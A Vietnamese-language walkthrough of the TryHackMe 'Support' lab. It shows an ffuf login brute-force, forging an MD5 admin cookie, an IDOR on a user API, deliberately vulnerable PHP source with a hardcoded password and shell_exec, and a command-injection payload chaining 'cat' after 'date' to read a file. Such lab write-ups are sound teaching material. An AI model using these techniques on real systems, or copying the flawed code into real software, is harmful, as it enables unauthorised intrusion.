Post

TRYHACKME | Support

Pentest the Support Ops platform to exploit vulnerabilities and achieve RCE.

TRYHACKME | Support

Support.

Mô tả: A new internal Support Operations Platform has been deployed to assist IT and helpdesk teams. The application handles user management, internal APIs, and system-level operations. However, security was not the primary focus during development. Several features rely on user-controlled input and weak trust boundaries. FLAG1: What is the flag value after logging in as admin? FLAG 2: What is the content of the file /home/ubuntu/user.txt?

SOLVE

Sau khi chạy Nmap thì mình thu thập được thông tin như sau:

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 62 OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a3:7e:37:98:53:50:a6:59:0d:1e:f1:1c:09:dd:b0:4e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOnoyFOyz7YOg4CtsaTAcdrV8jqS429dHiHt4yqxsKktKi+denEfeRsaiCQEpy8MfiVJLXI4rLMnb0CbNi0oBNE=
|   256 be:10:cd:cb:78:77:4e:45:ca:36:d3:39:ed:31:d1:ba (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINLC30v8MN6FbQOeZ6Fg+Xuc49bhSI7cAcuYzfrVpWM2
80/tcp open  http    syn-ack ttl 62 Apache httpd 2.4.58 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Support Operations Panel
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.58 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Ngoài ra trong quá trình quét các đường dẫn bằng gobuster thì mình thu thập được thêm được file info.php và một số thư mục như sau:

Truy cập vào các thư mục thì ta có thêm các file như sau:

Dựa vào thông tin trên thì khi truy cập port 80 ta thu được một trang web với giao diện đăng nhập như sau:

Sau khi thử các payload như SQLi để bypass form đăng nhập nhưng không thu được kết quả thì mình nghĩ đến ý tưởng là brute force mật khẩu.

Do có thông tin Email help@support.thm được hiển thị tại trang chủ nên khả năng nó là một email hợp lệ, chỉ cần tìm được mật khẩu là ta có thể truy cập được vào bên trong giao diện người dùng.

Ở đây mình dùng ffuf với payload 10k-most-common.txt của Seclists:

Nhận thấy các payload có kích thước 2678 là những respone của quá trình đăng nhập thất bại nên mình lọc kích thước này để chỉ hiển thị mật khẩu cho kết quả đăng nhập thành công

Payload: ffuf -u http://10.49.144.38/ -w /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -X POST -d "email=help@support.thm&password=FUZZ" -H "Content-Type: application/x-www-form-urlencoded" -fs 2678

Sau khi ffuf chạy xong thì ta thu được duy nhất 1 mật khẩu đúng:

Sử dụng thông tin đăng nhập vừa tìm được ở bên trên để xác thực thì ta vào được giao diện của dashboard:

Nhận thấy trong phần phản hồi của request đăng nhập thành công thì có Cookie: isITUser=68934a3e9455fa72420237eb05902327 được đặt. Nhận thấy giá trị của isITUSer là một giá trị hash nên mình thử dùng crackstation để crack thử mã hash xem có nhận được kết quả gì không và nhận được kết quả như sau:

Đoạn hash trên là dạng mã hóa MD5 của từ fasle

Nhận thấy có vẻ ứng dụng xác thực quyền của người dùng thông qua Cookie nên mình thử hash lại giá trị true và gửi lại giá trị cookie mới thì nhận được kết quả như sau:

Sau khi đặt lại giá trị thành true thì ta đã có được quyền của ITUser và có thêm 1 tính năng mới đã được hiện thị ở trang chủ, truy cập tính năng đó thì ta có kết quả như sau:

Dựa vào gợi ý được hiển thị ở bên trên thì ta thử gửi request để truy xuất thông tin user thì được kết quả như sau:

Kết quả trả về trả về email của người dùng, trạng thái xác thực 2 yếu tố và người dùng có quyền admin hay không. Ở đây mình thử thay đổi giá trị ID của user từ 3 thành 2 thì kết quả là IDOR thành công và thu được các kết quả như sau:

Nhận từ những thông tin trên thì ta đã trích xuất được các email của admin và IT lần lượt là: specialadmin@support.thmIT@support.thm

Lần này mình thử brute force tiếp mật khẩu của 2 người dùng này thì không thu được thêm kết quả nào cả

Kết quả trên cũng xuất hiện tương tự trong trường hợp mình sử dụng một wordlist mật khẩu lớn hơn.

Sau khi lần loay hoay một lúc không có ý tưởng thì mình quyết định chuyển sang hướng khác để khai thác thì mình nhận ra có 1 tính năng mình chưa dùng tới đó là chọn theme cho trang web:

Để ý thì trong thư mục Skins có các file như green.php, red.php,… nên mình nghĩ úng dụng xử lý màu giao diện thông qua các file này nên có khả năng xảy ra lỗ hổng LFI

Kết quả là server có xử lý các file này, tuy nhiên nó lại tự động thêm đuôi .php vào cuối để xử lý và hiện tại phiên bản php là 8.3.6 - không thể bypass bằng null byte nên rất khó khăn trong việc đọc các file tùy ý:

Vì không thể đọc các file tùy ý nên mình thử đọc các file php của trang web thì thu thập được thêm thông tin sau đây:

  • index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
session_start();
include('/var/www/db.php');

$error = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $email = $_POST['email'] ?? '';
    $password = $_POST['password'] ?? '';

    foreach ($users as $id => $user) {
        if ($user['email'] === $email && $user['password'] === $password) {

            $_SESSION['loggedin'] = true;
            $_SESSION['user_id']  = $id;
			$_SESSION['admin']  = $user['admin'];
    
            setcookie(
                'isITUser',
                $user['admin'] ? md5("true") : md5("false"),
                time() + 3600,
                '/'
            );

            header('Location: dashboard.php');
            exit;
        }
    }

    $error = 'Invalid credentials';
}
?>
  • skins.php
1
2
3
4
5
6
7
8
9
10
<?php

$webRoot = realpath('/var/www/html/skins');
$another = realpath('/var/www/html');
$requested = realpath($webRoot . '/' . $skin . '.php');

if ($requested !== false && strpos($requested, $another) === 0) {
    readfile($requested);
}
?>

Đoạn code này chứa lỗ hổng RFI nhưng chỉ cho đọc các file php nằm trong thư mục /var/www/html/

  • api.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
session_start();

if (!isset($_SESSION['loggedin'])) {
    header('Location: index.php');
    exit;
}


if (($_COOKIE['isITUser'] ?? md5('false')) !== md5('true')) {
    die('Access denied');
}

include('/var/www/db.php');

$id = $_GET['id'] ?? $_SESSION['user_id'];
$user = $users[$id] ?? null;


if (preg_match('#^/user/#', $_SERVER['REQUEST_URI'])) {
    header('Content-Type: application/json');
unset($user['password']);

    echo json_encode($user, JSON_PRETTY_PRINT);
    exit;
}
?>

Logi kiểm tra quyền người dùng, lộ đường dẫn file database.

Nhận thấy có file db.php trong thư mục /www/, tuy nhiên nhìn vào đoạn code chứa lỗ hổng RFI thì chỉ có thể truy cập được các file trong thư mục html nên dù kết thúc bằng đuôi .php thì ta vẫn không thể xem nội dung file db.php

  • config.php
1
2
3
4
5
6
7
<?php

$MASTER_PASSWORD = 'DaChe';

$SITE_VER = '1.0';
$SITE_NAME = 'support_portal';

  • footer.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$isAdmin = $_SESSION['admin'];

$output = '';
$error  = '';


$selectedSys = 'date';

if ($isAdmin && $_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['sys'])) {

    $selectedSys = $_POST['sys'];
    $sys = $_POST['sys'];


    if (strpos($sys, 'date') === 0) {
        $output = shell_exec($sys); 
    } else {
        $error = 'Only date command is allowed.';
    }
}
?>

Nhìn vào đoạn code trên ta có thể thấy rất rõ lổ hổng Command Injection, tuy nhiên nó bắt chúng ta phải là admin -> đây có lẽ là cách để lấy flag thứ 2

Dựa vào password được leak trong config.php thì mình thử đăng nhập vào hai tài khoản trên nhưng kết quả vẫn không thành công. Nên mình dùng John the Ripper để gen mật khẩu từ mật khẩu ban đầu để brute force tiếp thông qua FFUF:

1
john --wordlist=pass.txt --rules=rockyou-30000 --stdout > wordlist.txt

Sau khi thử mật khẩu với ffuf thì thu được mật khẩu và tiến hành đăng nhập thì vào được trang chủ của admin và nhận được flag:

Sau khi có quyền admin thì nhận thấy ở phần footer có thêm 1 select box chứa lỗ hổng Command Injection để hiển thị thông tin ngày và giờ với kết quả như sau:

Sửa request thì nhận thấy lỗ hổng Command Injection đã thành công

Cuối cùng chạy câu lệnh sau để lấy được flag:

1
data; cat /home/ubuntu/user.txt

Lưu ý: encode payload trước khi gửi!

This post is licensed under CC BY 4.0 by the author.